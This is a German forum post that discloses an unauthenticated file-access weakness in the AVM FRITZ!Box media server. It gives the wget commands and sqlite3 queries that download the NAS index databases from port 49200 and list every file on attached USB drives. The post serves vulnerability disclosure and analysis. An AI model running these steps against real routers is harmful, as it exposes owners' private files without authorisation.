[Info] Dein Freund, der AVM-Mediaserver ... und wie er Dir in den Rücken fallen könnte

PeterPawn

IPPF-Urgestein
Mitglied seit
10 Mai 2006
Beiträge
15,278
Punkte für Reaktionen
1,753
Punkte
113
Wer von uns kennt nicht den "Mediaserver", der von AVM in Werbevideos und Anleitungen angepriesen wird als Schmalspurlösung für die Bereitstellung von Medien-Dateien auf den an die FRITZ!Box angeschlossenen Speichermedien.

Dieser hatte in der Vergangenheit mal das Problem, daß er zu geschwätzig war und über ihn per "directory traversal" der lesende Zugriff auch auf interne Dateien des FRITZ!OS möglich war.

Schaut man sich heute eine aktuelle Firmware an, bietet sich immer noch ein Bild, das mir persönlich (aber ich bin da auch recht (über)empfindlich) kalte Schauer über den Rücken jagt.

Alle hier beschriebenen Aktionen und Tests wurden auf einer 6490 mit Firmware 06.63 (als jüngster Repräsentant der "stable"-Versionen) und einzelne auch zur Kontrolle auf einer 7490 mit 06.69-41875 (als Laborversion) ausgeführt - bei der 6490 wurden zuvor die Werkseinstellungen geladen, bei der 7490 allerdings nicht. Daher sind Aussagen zu irgendwelchen Standardeinstellungen bei einer "frischen" Box bei der Labor-Version nicht möglich - angesichts der Änderungen mit der neuen Möglichkeit, den Samba- und den internen FTP-Service getrennt voneinander zu aktivieren, wäre es ja auch denkbar, daß AVM das Standardstartverhalten für alle diese Services überdacht hat und der Punkt 2 in der oben verlinkten AVM-Seite künftig tatsächlich erforderlich ist.

Die Feststellung zu den Standardwerten bei der 6490 habe ich auch dreimal geprüft, indem ich immer wieder auf Werkseinstellungen zurückgesetzt habe, dann den Assistenten über mich ergehen ließ (immer schön "Weiter") und ansonsten gar nichts weiter eingestellt wurde - die Box hat ein voreingestelltes GUI-Kennwort, so daß man schon davon ausgehen kann, daß es sich im Ergebnis um eine "typische Konfiguration" bei Otto Normaluser handelt.

Aber in medias res (was paßt besser bei diesem Thema) - es gibt für diesen Mediaserver dann die Möglichkeit, dessen Home-Verzeichnis (er hat nur eines) einzustellen. Es gäbe einmal die Einstellung "keine Einschränkungen" für das NAS-Verzeichnis "/var/media/ftp" als Basis mit Zugriff auf die Unterverzeichnisse für die gemounteten USB-Volumes und alle darauf liegenden Media-Dateien (zunächst mal). Die Alternative ist das "Verschieben" des Home-Verzeichnisses auf eines der gemounteten USB-Volumes ... daher sind das wohl auch Radio-Buttons im GUI bei der Festlegung der freigegebenen Dateien in Heimnetz. Mit sehr viel gutem Willen kann man die oben verlinkte AVM-Seite in Punkt 1 so interpretieren, daß AVM das gerne auf einem gesonderten Speichermedium sehen würde - allerdings werden dafür keinerlei Vorkehrungen seitens der Firmware getroffen. Denn die Standardeinstellung der FRITZ!Box 6490 sieht nach dem Absolvieren der Assistenten bei der Ersteinrichtung dann so aus:
mediaserver_default_settings.jpg
Der Mediaserver ist also bereits aktiviert und er bietet seine Dienste auch für den internen NAS-Speicher und die beiden angeschlossenen USB-Speichergeräte an.

Die Annahme, daß sich der "Fokus" bzw. das Home-Directory bei der Änderung des freigegebenen Volumes verschiebt, kann man an den URLs für den Zugriff auf die Media-Dateien überprüfen ... enthalten sie bei "keine Einschränkungen" noch die Verzeichnisebene für den Mountpoint des Volumes, so verschwindet dieser, wenn man die Einstellung auf eines der Volumes setzt.

Nun kann man ja mit einem Media-Player (ich habe den VLC benutzt) das "Angebot" des Mediaservers überprüfen (oder mit eigenen Requests, allerdings ist das für einen Test viel Schreibarbeit), dabei ergibt sich für die erste Ebene von Ordnern folgende Ausgabe:
Code:
<?xml version="1.0"?>
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/">
  <container id="4:cont1:20:0:0:" parentID="0" restricted="0">
    <dc:title>[COLOR="#FF0000"][B]Musik[/B][/COLOR]</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
  <container id="4:cont1:90:0:0:" parentID="0" restricted="0">
    <dc:title>[COLOR="#FF0000"][B]Bilder[/B][/COLOR]</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
  <container id="4:cont2:120:0:0:" parentID="0" restricted="0">
    <dc:title>[COLOR="#FF0000"][B]Filme[/B][/COLOR]</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
  <container id="4:cont2:150:0:0:" parentID="0" restricted="0">
    <dc:title>[COLOR="#FF0000"][B]Internetradio[/B][/COLOR]</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
  <container id="4:cont2:160:0:0:" parentID="0" restricted="0">
    <dc:title>[COLOR="#FF0000"][B]Podcasts[/B][/COLOR]</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
  <container id="4:cont2:170:0:0:" parentID="0" restricted="0">
    <dc:title>[COLOR="#FF0000"][B]Datei-Index[/B][/COLOR]</dc:title>
    <upnp:class>object.container</upnp:class>
  </container>
</DIDL-Lite>
Das korrespondiert auch mit der Anzeige eines entsprechenden Media-Players, der "sieht" auch nur diese sechs Ordner in der obersten Ebene.

Schaut man sich dann mal einen der Dateieinträge genauer an, sieht man auch die zum Download notwendige URL:
Code:
<?xml version="1.0"?>
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/">
  <item id="indexation_upnp_id" parentID="4:cont2:170:0:0:" restricted="0">
    <dc:title>Indexierung starten</dc:title>
    <upnp:class>object.item.audioItem.musicTrack</upnp:class>
    <upnp:actor>Datei-Index</upnp:actor>
    <upnp:artist role="AlbumArtist">Datei-Index</upnp:artist>
    <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000">[COLOR="#FF0000"][B]http://192.168.178.254:49200/AUDIO/DLNA-1-0/.start_indexation.mp3[/B][/COLOR]</res>
  </item>
</DIDL-Lite>
Nun sollte man ja annehmen, daß der Mediaserver auch nur die Dateien "serviert", die er in den Medienordnern anzeigt. Streng genommen ist das auch so ... das Problem (zumindest in meinen Augen) ist es aber, daß der HTTP-Server für den Download der Dateien zwar wohl noch einige (virtuelle) Pfade auswertet, aber am Ende gar nicht auf denselben Datenbestand zurückgreift wie der Mediaserver, wenn es um die Berechtigung für den Download einer Datei geht.

Das führt dann zu dem Ergebnis, daß man - sofern man den Namen der gewünschten Datei kennt, denn natürlich gibt es dort kein Inhaltsverzeichnis - über eine solche URL so ziemlich jede dort lagernde Datei laden kann, ich habe jedenfalls auf Anhieb keine Datei gefunden, bei der das nicht geklappt hätte.

Sucht man jetzt ein wenig in den Support-Daten (wir nehmen mal an, daß es keinen Shell-Zugang zur FRITZ!Box gibt, ansonsten kann man das natürlich auch einfacher haben), findet man schnell die Sektion für die "nas_db":
Code:
##### BEGIN SECTION nas_db Fritznasdb
fritznasdb not running
partition: 579924004 (part1)
  partition type:  usb read-write
  partition path:  /var/media/ftp/pentest
[COLOR="#008000"]  db file:         /var/media/ftp/pentest/FRITZ/mediabox/fritznasdb_part.db3[/COLOR]
  db version:      1.021.379
  scan status:     update complete
  scan start time: 08.01.2000 14:59:33
  scan end time:   08.01.2000 14:59:34
[COLOR="#FF0000"]  item count:      audio: 1, video: 1, image: 1, doc: 5, other: 130[/COLOR]
partition: 956349320 (part3)
  partition type:  internal nand
  partition path:  /var/media/ftp
[COLOR="#008000"]  db file:         /var/media/ftp/FRITZ/mediabox/fritznasdb_part.db3[/COLOR]
  db version:      1.021.379
  scan status:     fullscan complete
  scan start time: 08.01.2000 14:59:33
  scan end time:   08.01.2000 14:59:33
[COLOR="#FF0000"]  item count:      audio: 1, video: 1, image: 1, doc: 3, other: 7[/COLOR]
partition: 1775974996 (part2)
  partition type:  usb read-write
  partition path:  /var/media/ftp/MULTIBOOT
[COLOR="#008000"]  db file:         /var/media/ftp/MULTIBOOT/FRITZ/mediabox/fritznasdb_part.db3[/COLOR]
  db version:      1.021.379
  scan status:     update complete
  scan start time: 08.01.2000 14:59:34
  scan end time:   08.01.2000 14:59:34
[COLOR="#FF0000"]  item count:      audio: 0, video: 0, image: 5, doc: 11, other: 68[/COLOR]
total item count: 235
upnpcont: <root>, childs: 6, browsed: 6/50
          time: 0.102560 (total matches: 0.000246 [io: 0 R, 0 W, 0 S], browse: 0.102314 [io: 0 R, 0 W, 0 S])
upnpcont: Musik, childs: 6, browsed: 6/50
          time: 0.074611 (total matches: 0.000019 [io: 0 R, 0 W, 0 S], browse: 0.074592 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Interpreten, childs: 1, browsed: 1/50
          time: 0.092898 (total matches: 0.048670 [io: 0 R, 0 W, 0 S], browse: 0.044228 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Alben, childs: 1, browsed: 1/50
          time: 0.095605 (total matches: 0.046899 [io: 0 R, 0 W, 0 S], browse: 0.048706 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Titel, childs: 1, browsed: 1/50
          time: 0.098964 (total matches: 0.051095 [io: 0 R, 0 W, 0 S], browse: 0.047869 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Genres, childs: 1, browsed: 1/50
          time: 0.099288 (total matches: 0.050295 [io: 0 R, 0 W, 0 S], browse: 0.048993 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Ordner, childs: 1, browsed: 1/50, entries: pentest
          time: 0.118042 (total matches: 0.049794 [io: 0 R, 0 W, 0 S], browse: 0.068248 [io: 0 R, 0 W, 0 S])
upnpcont: Bilder, childs: 2, browsed: 2/50
          time: 0.063033 (total matches: 0.000023 [io: 0 R, 0 W, 0 S], browse: 0.063010 [io: 0 R, 0 W, 0 S])
upnpcont: Bilder-Alle Bilder, childs: 1, browsed: 1/50
          time: 0.109173 (total matches: 0.061482 [io: 0 R, 0 W, 0 S], browse: 0.047691 [io: 0 R, 0 W, 0 S])
upnpcont: Bilder-Ordner, childs: 1, browsed: 1/50, entries: pentest
          time: 0.118480 (total matches: 0.052029 [io: 0 R, 0 W, 0 S], browse: 0.066451 [io: 0 R, 0 W, 0 S])
upnpcont: Filme, childs: 2, browsed: 2/50
          time: 0.065745 (total matches: 0.000018 [io: 0 R, 0 W, 0 S], browse: 0.065727 [io: 0 R, 0 W, 0 S])
upnpcont: Filme-Alle Filme, childs: 1, browsed: 1/50
          time: 0.125515 (total matches: 0.055100 [io: 0 R, 0 W, 0 S], browse: 0.070415 [io: 0 R, 0 W, 0 S])
upnpcont: Filme-Ordner, childs: 1, browsed: 1/50, entries: pentest
          time: 0.120200 (total matches: 0.051314 [io: 0 R, 0 W, 0 S], browse: 0.068886 [io: 0 R, 0 W, 0 S])
upnpcont: Internetradio, childs: 0, browsed: 0/50
          time: 0.127613 (total matches: 0.053844 [io: 0 R, 0 W, 0 S], browse: 0.073769 [io: 0 R, 0 W, 0 S])
upnpcont: Podcasts, childs: 0, browsed: 0/50
          time: 0.174508 (total matches: 0.094891 [io: 0 R, 0 W, 0 S], browse: 0.079617 [io: 0 R, 0 W, 0 S])
fnas browse: /var/media/ftp, sort: title, entries: 12
          time: 1.084228 [io: 0 R, 0 W, 0 S]
fnas browse: /var/media/ftp/pentest, sort: title, entries: 44
          time: 0.916423 [io: 0 R, 0 W, 0 S]
fnas browse: /var/media/ftp/MULTIBOOT, sort: title, entries: 37
          time: 0.398975 [io: 0 R, 0 W, 0 S]
##### END SECTION nas_db
Hier gibt es also drei (verteilte) Datenbanken, wobei offensichtlich auf jedem USB-Volume (davon gibt es zwei, mit den Namen "pentest" und "MULTIBOOT") eine Datenbank liegt. Daß es sich bei dieser Datenbank um ein SQLite3-Format handeln dürfte, legt schon die Erweiterung und der Blick in die DSOs (in /lib) nahe.

Die Existenz der Datenbanken ist erst einmal auch unabhängig davon, ob der Mediaserver aktiviert ist oder nicht und ob der auf ein einzelnes Volume festgelegt ist ... AVM verwendet diese Index-Datenbanken offenbar für mehrere Dienste (wohl u.a. für den GUI-Zugriff auf die NAS-Daten).

Das Spannende daran ist es aber, daß sich diese Datenbanken ja offensichtlich ebenfalls unterhalb des "Wurzelverzeichnisses" eines gestarteten Mediaservers befinden. Den Pfad dorthin zu erraten, ist nun keine so richtig große Kunst - einen Startpunkt findet man halt unmittelbar über den Pfad /FRITZ/mediabox/fritznasdb_part.db3.

Gesetzt den Fall, daß die Wurzel des Mediaservers in /var/media/ftp liegt, steht man zwar noch vor der Aufgabe, den Namen des Mountpoints für ein USB-Volume irgendwie zu ermitteln, aber das ist dank der verschiedenen Ansichten, die der Mediaserver für uns bereithält, auch kein wirkliches Problem - das machen wir gleich.

Nicht aus den Augen verlieren sollte man auch die Zeilen mit der Anzahl der bei der Index-Erstellung gefundenen Dateien:
Code:
  item count:      audio: 1, video: 1, image: 1, doc: 5, other: 130
  item count:      audio: 1, video: 1, image: 1, doc: 3, other: 7
  item count:      audio: 0, video: 0, image: 5, doc: 11, other: 68
Nun hatten wir ja weiter oben die Liste der möglichen Media-Dateien seitens der FRITZ!Box mit folgenden Namen ermittelt:
  • Musik
  • Bilder
  • Filme
  • Internetradio
  • Podcasts
  • Datei-Index
Von den "item counts" lassen sich ja die ersten drei unmittelbar einem Media-Typ zuordnen (audio, video, image), aber bei "doc" und "other" ist das dann nicht mehr ganz so einfach. Für "doc" mag man ja noch eine Parallele zum Ordern "Dokumente" in der Verzeichnisstruktur des NAS finden (wenn man bei der Wurzel des AVM-Zeugs beginnt), aber für "other" fällt das zunächst mal schwer. Andererseits sind ja die Zähler für die dort indizierten Dateien am höchsten - das paßt auch zum Inhalt der angeschlossenen Sticks, denn da finden sich nur in Ausnahmefällen Media-Dateien, das sind mehr Shell-Skripte und andere "sonstige Dateien".

Nun kommen wir an diese Dateien ja trotzdem nicht per Download über den Mediaserver heran, solange wir nicht den genauen Pfad zu einer solchen Datei kennen. Nehmen wir mal an, daß da für den Mediaserver "keine Einschränkung" konfiguriert ist, dann startet unser über diesen Dienst erreichbarer "Verzeichnisbaum" ja unter /var/media/ftp und die erste Ebene bilden die Dateien im NAND-Flash der Box (dem für das NAS). In dieser Ebene gibt es dann neben den direkt dort gespeicherten Verzeichnissen und Dateien noch dynamisch erzeugte Verzeichnisse, die als Mountpoint für die USB-Volumes dienen - deren Namen sind erst einmal nicht vorhersagbar (jedenfalls nicht für jemanden ohne NAS-Rechte).

Aber der Mediaserver bietet uns ja auch für jeden Mediatyp eine Ansicht "Ordner" oder "Alle Titel" und auch die dort enthaltenen URLs für den Download geben ja entsprechende Hinweise auf die Namen der Mountpoints für die USB-Volumes.
Code:
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/"><item id="5:audio5:part31:12:19" parentID="4:cont2:530:3:AVM0:" restricted="0"> <dc:title>FRITZ!</dc:title> <upnp:class>object.item.audioItem.musicTrack</upnp:class> <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000" >http://192.168.178.254:49200/AUDIO/DLNA-1-0/Musik/FRITZ-Song.mp3</res> </item><item id="5:audio5:part11:12:23" parentID="4:cont2:530:3:AVM0:" restricted="0"> <dc:title>FRITZ!</dc:title> <upnp:class>object.item.audioItem.musicTrack</upnp:class> <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000" >http://192.168.178.254:49200/AUDIO/DLNA-1-0/pentest/Musik/FRITZ-Song.mp3</res> </item></DIDL-Lite>
<?xml version="1.0"?>
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/">
  <item id="5:audio5:part31:12:19" parentID="4:cont2:530:3:AVM0:" restricted="0">
    <dc:title>FRITZ!</dc:title>
    <upnp:class>object.item.audioItem.musicTrack</upnp:class>
    <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000">[COLOR="#FF0000"]http://192.168.178.254:49200/AUDIO/DLNA-1-0/Musik/FRITZ-Song.mp3[/COLOR]</res>
  </item>
  <item id="5:audio5:part11:12:23" parentID="4:cont2:530:3:AVM0:" restricted="0">
    <dc:title>FRITZ!</dc:title>
    <upnp:class>object.item.audioItem.musicTrack</upnp:class>
    <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000">[COLOR="#FF0000"]http://192.168.178.254:49200/AUDIO/DLNA-1-0/[COLOR="#FF0000"]pentest[/COLOR]/Musik/FRITZ-Song.mp3[/COLOR]</res>
  </item>
</DIDL-Lite>
Nachdem man dann diese Informationen eingesammelt hat, kann man ja mal versuchen, mit ihnen auf die Index-Datenbanken zuzugreifen ... wir erinnern uns, daß der jeweilige Pfad dorthin auf "/FRITZ/mediabox/fritznasdb_part.db3" endet und davor dann halt nichts oder der Name des Mountpoints kommt. Damit funktionieren dann auch die folgenden Kommandos:
Code:
# [COLOR="#0000FF"][B]wget -q -O nas.db3 http://192.168.178.254:49200/FRITZ/mediabox/fritznasdb_part.db3[/B][/COLOR]
# [COLOR="#0000FF"][B]wget -q -O nas_pentest.db3 http://192.168.178.254:49200/pentest/FRITZ/mediabox/fritznasdb_part.db3[/B][/COLOR]
# [COLOR="#0000FF"][B]ls -la[/B][/COLOR]
total 136
drwxr-xr-x  2 root root  4096 Nov  9 00:29 ./
drwxrwxrwt 15 root root  4096 Nov  9 00:27 ../
-rw-r--r--  1 root root 52224 Jan  1  2000 nas.db3
-rw-r--r--  1 root root 77824 Jan  1  2000 nas_pentest.db3
Die Struktur der Datenbank kann uns jetzt Auskunft geben, welche Datenfelder für diese "other items" gespeichert sind:
Code:
# [COLOR="#0000FF"][B]sqlite3 nas.db3 .schema >nas_schema.sql[/B][/COLOR]
# cat nas_schema.sql
CREATE TABLE statistic (id integer primary key default 0, dbversion varchar(10), partition_audio_count integer default 0, partition_video_count integer default 0, partition_image_count integer default 0, partition_other_count integer default 0, partition_doc_count integer default 0, partition_total_file_count integer default 0);
CREATE TABLE audio (id integer primary key autoincrement not null, album varchar(1024) default null, genre varchar(1024) default null, artist varchar(1024) default null, parentpath varchar(4096) not null, title varchar(1024) not null, band varchar(1024) default null, interpret varchar(1024) default null, publisher varchar(1024) default null, composer varchar(1024) default null, comment varchar(1024) default null, number integer default 0, recdate Date, duration varchar(10) default null, albumart integer default 0, size integer not null, playcount integer default 0, ext varchar(10) not null, playtime integer default 0, audiobitratemode integer default 0, protection integer default 0, audionrchannels integer default 0, audioavgbitrate integer default 0, audiocodecbitrate integer default 0, audiobitspersample integer default 0, audiosamplefrequency integer default 0, audiocodecinfo varchar(40) default null, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
CREATE TABLE video (id integer primary key autoincrement not null, album varchar(1024) default null, genre varchar(1024) default null, artist varchar(1024) default null, parentpath varchar(4096) not null, title varchar(1024) not null, band varchar(1024) default null, interpret varchar(1024) default null, publisher varchar(1024) default null, composer varchar(1024) default null, comment varchar(1024) default null, number integer default 0, recdate Date, duration varchar(10) default null, size integer not null, playcount integer default 0, ext varchar(10) not null, playtime integer default 0, bitratemode integer default 0, protection integer default 0, audionrchannels integer default 0, avgbitrate integer default 0, audiocodecbitrate integer default 0, audiobitspersample integer default 0, audiosamplefrequency integer default 0, audiocodecinfo varchar(40) default null, width integer default 0, height integer default 0, videocolordepth integer default 0, videoframerate integer default 0, videocodecbitrate integer default 0, videocodecinfo varchar(40) default null, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
CREATE TABLE doc (id integer primary key autoincrement not null, parentpath varchar(4096) not null, size integer not null, ext varchar(10) not null, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
CREATE TABLE image (id integer primary key autoincrement not null, parentpath varchar(4096) not null, size integer not null, ext varchar(10) not null, title varchar(1024) not null, comment varchar(1024) default null, description varchar(1024) default null, publisher varchar(1024) default null, subject varchar(1024) default null, recdate Date, width integer default 0, height integer default 0, thumbnail integer default 0, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
[COLOR="#FF0000"]CREATE TABLE other (id integer primary key autoincrement not null, parentpath varchar(4096) not null, size integer not null, ext varchar(10), mdate Date not null, filename varchar(10) not null, updatedate Date default null, partition_type integer default 0);
[/COLOR]CREATE TABLE directory (id integer primary key autoincrement not null, parentpath varchar(4096) not null, watchid integer, mdate Date not null, filename varchar(10) not null, updatedate Date default null, partition_type integer default 0);
CREATE TABLE playlist (id integer primary key autoincrement not null, parentpath varchar(4096) not null, title varchar(10) not null, matched_count integer default null, size integer not null, ext varchar(10) not null, mdate Date not null, filename varchar(10) not null, updatedate Date default null, partition_type integer default 0);
CREATE TABLE playlistitems (playlist_id integer not null, audio_id integer not null);
CREATE TABLE upnp_container (id integer primary key autoincrement, parent_id integer, meta_ref_artist varchar(10) default 0, meta_ref_genre varchar(10) default 0,meta_ref_playlist_id integer default 0, title varchar(10) default 0, type integer not null, class varchar(10) not null, updatenr integer default 0, childcount integer default 0, list_order integer default 0, part_ident integer not null);
CREATE TABLE upnp_audio_container (id integer primary key, cont_id_music_dir integer default 0, cont_id_music_album integer default 0, cont_id_music_artist_all integer default 0, cont_id_music_artist_album integer default 0, cont_id_music_genre_all integer default 0, cont_id_music_genre_artist integer default 0, cont_id_music_titles integer default 0, cont_id_webradio integer default 0, cont_id_podcasts integer default 0);
CREATE TABLE upnp_image_container (id integer primary key, cont_id_image_dir integer default 0, cont_id_image_titles integer default 0);
CREATE TABLE upnp_video_container (id integer primary key, cont_id_video_dir integer default 0, cont_id_video_titles integer default 0);
CREATE INDEX image_filename ON image(filename);
CREATE INDEX audio_filename ON audio(filename);
CREATE INDEX video_filename ON video(filename);
CREATE INDEX doc_filename ON doc(filename);
CREATE INDEX upnp_audio_container_cont_id_music_album ON upnp_audio_container(cont_id_music_album);
CREATE INDEX upnp_audio_container_cont_id_music_dir ON upnp_audio_container(cont_id_music_dir);
CREATE INDEX upnp_audio_container_cont_id_music_titles ON upnp_audio_container(cont_id_music_titles);
CREATE INDEX upnp_container_parent_id ON upnp_container(parent_id);
CREATE INDEX upnp_container_typetitle ON upnp_container(type, title);
CREATE INDEX upnp_container_parent_idtitle ON upnp_container(parent_id, title);
CREATE INDEX upnp_container_parent_idtitletype ON upnp_container(parent_id, title, type);
CREATE INDEX upnp_container_parent_idtype ON upnp_container(parent_id, type);
CREATE INDEX image_parentpath ON image(parentpath);
CREATE INDEX audio_parentpath ON audio(parentpath);
CREATE INDEX video_parentpath ON video(parentpath);
CREATE INDEX doc_parentpath ON doc(parentpath);
CREATE INDEX directory_parentpath ON directory(parentpath);
CREATE INDEX other_parentpath ON other(parentpath);
CREATE TRIGGER insert_video AFTER INSERT ON video BEGIN UPDATE statistic SET partition_video_count = partition_video_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_video AFTER DELETE ON video BEGIN UPDATE statistic SET partition_video_count = partition_video_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE TRIGGER insert_image AFTER INSERT ON image BEGIN UPDATE statistic SET partition_image_count = partition_image_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_image AFTER DELETE ON image BEGIN UPDATE statistic SET partition_image_count = partition_image_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE TRIGGER insert_other AFTER INSERT ON other BEGIN UPDATE statistic SET partition_other_count = partition_other_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_other AFTER DELETE ON other BEGIN UPDATE statistic SET partition_other_count = partition_other_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE TRIGGER insert_doc AFTER INSERT ON doc BEGIN UPDATE statistic SET partition_doc_count = partition_doc_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_doc AFTER DELETE ON doc BEGIN UPDATE statistic SET partition_doc_count = partition_doc_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE INDEX audio_titlecollatenocase ON audio(title collate nocase);
CREATE INDEX video_titlecollatenocase ON video(title collate nocase);
CREATE INDEX image_titlecollatenocase ON image(title collate nocase);
CREATE TRIGGER insert_audio AFTER INSERT ON audio BEGIN UPDATE statistic SET partition_audio_count = partition_audio_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_audio AFTER DELETE ON audio BEGIN UPDATE statistic SET partition_audio_count = partition_audio_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
OK, die Tabelle, in der die Dateien aufgeführt sind, welche nicht als Media-Dateien erkannt wurden, heißt also auch noch "other" und hat einige Felder, die wohl einen Pfad enthalten (wenn so ein Feld schon "parentpath" heißt, ist diese Vermutung nicht ganz abwegig).

Lassen wir uns einfach mal die ein paar Datensätze ausgeben aus der Datenbank für den USB-Stick mit dem Label "pentest" (die Ergebnisse habe ich "ausgedünnt"):
Code:
#[COLOR="#0000FF"][B] sqlite3 -header -list nas_pentest.db3 'SELECT * FROM other;'[/B][/COLOR]
id|parentpath|size|ext|mdate|filename|updatedate|partition_type
14|/var/media/ftp/pentest|68608|tar|2016-10-17 21:08:53|autoupdate.tar|2000-01-01 03:47:59|4
21|/var/media/ftp/pentest|6656|tar|2016-09-19 17:04:10|enable_dvb_c.tar|2000-01-01 03:47:59|4
33|/var/media/ftp/pentest/modfs|99053||2016-10-25 11:19:32|modfs|2016-11-07 19:08:33|4
38|/var/media/ftp/pentest/modfs/modscripts|4976||2016-07-29 16:10:07|mod_leddisplay|2016-11-07 19:08:33|4
46|/var/media/ftp/pentest/modfs/modscripts|3197||2016-07-29 16:10:27|mod_show_name|2016-11-07 19:08:33|4
50|/var/media/ftp/pentest/modfs/modscripts|19208|2|2016-02-18 19:17:00|gui_boot_manager_v0.3|2016-11-07 19:08:33|4
54|/var/media/ftp/pentest/modfs/bin/scripts|28792||2016-10-17 20:59:59|check_signed_image|2016-11-07 19:08:33|4
55|/var/media/ftp/pentest/modfs/bin/scripts|17911||2016-10-17 21:14:44|check_update|2016-11-07 19:08:33|4
56|/var/media/ftp/pentest/modfs/bin/scripts|3616||2016-10-17 16:01:11|yf_helpers|2016-11-07 19:08:33|4
57|/var/media/ftp/pentest/modfs/bin/scripts|172||2016-10-17 15:58:05|wrap_script|2016-11-07 19:08:33|4
58|/var/media/ftp/pentest/modfs/bin/scripts/functions|1578|function|2016-10-17 15:58:05|yf_network_interfaces.function|2016-11-07 19:08:33|4
95|/var/media/ftp/pentest/modfs/bin/scripts/functions|1768|function|2016-10-18 16:08:08|yf_uppercase.function|2016-11-07 19:08:33|4
96|/var/media/ftp/pentest/modfs/bin/scripts|3653||2016-10-18 03:47:52|check_image_signature|2016-11-07 19:08:33|4
107|/var/media/ftp/pentest/modfs/locale|13194||2016-09-25 16:05:08|de|2016-11-07 19:08:33|4
108|/var/media/ftp/pentest/modfs/locale|11147||2016-09-25 16:03:57|en|2016-11-07 19:08:33|4
110|/var/media/ftp/pentest/modfs|18092||2016-02-13 10:30:05|LICENSE|2016-11-07 19:08:33|4
112|/var/media/ftp/pentest/modfs|10745|ger|2016-04-26 17:18:02|BOOTSELECTION.ger|2016-11-07 19:08:33|4
114|/var/media/ftp/pentest|694||2016-10-26 16:17:39|replace_binary|2000-01-01 03:47:59|4
117|/var/media/ftp/pentest|157041664|tar|2016-10-23 17:40:30|firmware.tar|2000-01-01 03:47:59|4
120|/var/media/ftp/pentest|2513|sh|2016-10-30 00:14:20|save_system.sh|2000-01-01 03:47:59|4
128|/var/media/ftp/pentest|359||2016-11-01 04:29:38|switch_system|2000-01-01 03:47:59|4
Das sind also jede Menge Dateinamen, die man dort frei Haus geliefert bekommt (noch einmal deutlich, bis hier brauchte es nicht eine einzige Anmeldung an der FRITZ!Box - obwohl die natürlich korrekt eingestellt ist, ich habe nicht eine AVM-Warnung im Assistenten ignoriert) und am Ende braucht man eigentlich nur noch ein passendes SQL-Kommando auf die Datenbank loslassen, um eine Liste aller dort indizierten Dateien zu erhalten.
Code:
# [COLOR="#0000FF"][B]for table in audio video image doc other; do sqlite3 nas_pentest.db3 "SELECT parentpath||'/'||filename FROM $table;"; done | sort >filenames.lst[/B][/COLOR]
Damit haben wir jetzt (muß ich erneut daran erinnern?) immer noch ohne eine einzige Authentifizierung ggü. der FRITZ!Box schon mal eine komplette Liste all der Dateien, die sich auf dem USB-Stick befinden - diese Liste ist tatsächlich vollständig, wenn man mal zählen läßt (das geht nun wirklich nur über die Shell auf der Box):
Code:
# [COLOR="#0000FF"][B]find /var/media/ftp/pentest/ -type f | wc -l[/B][/COLOR]
133
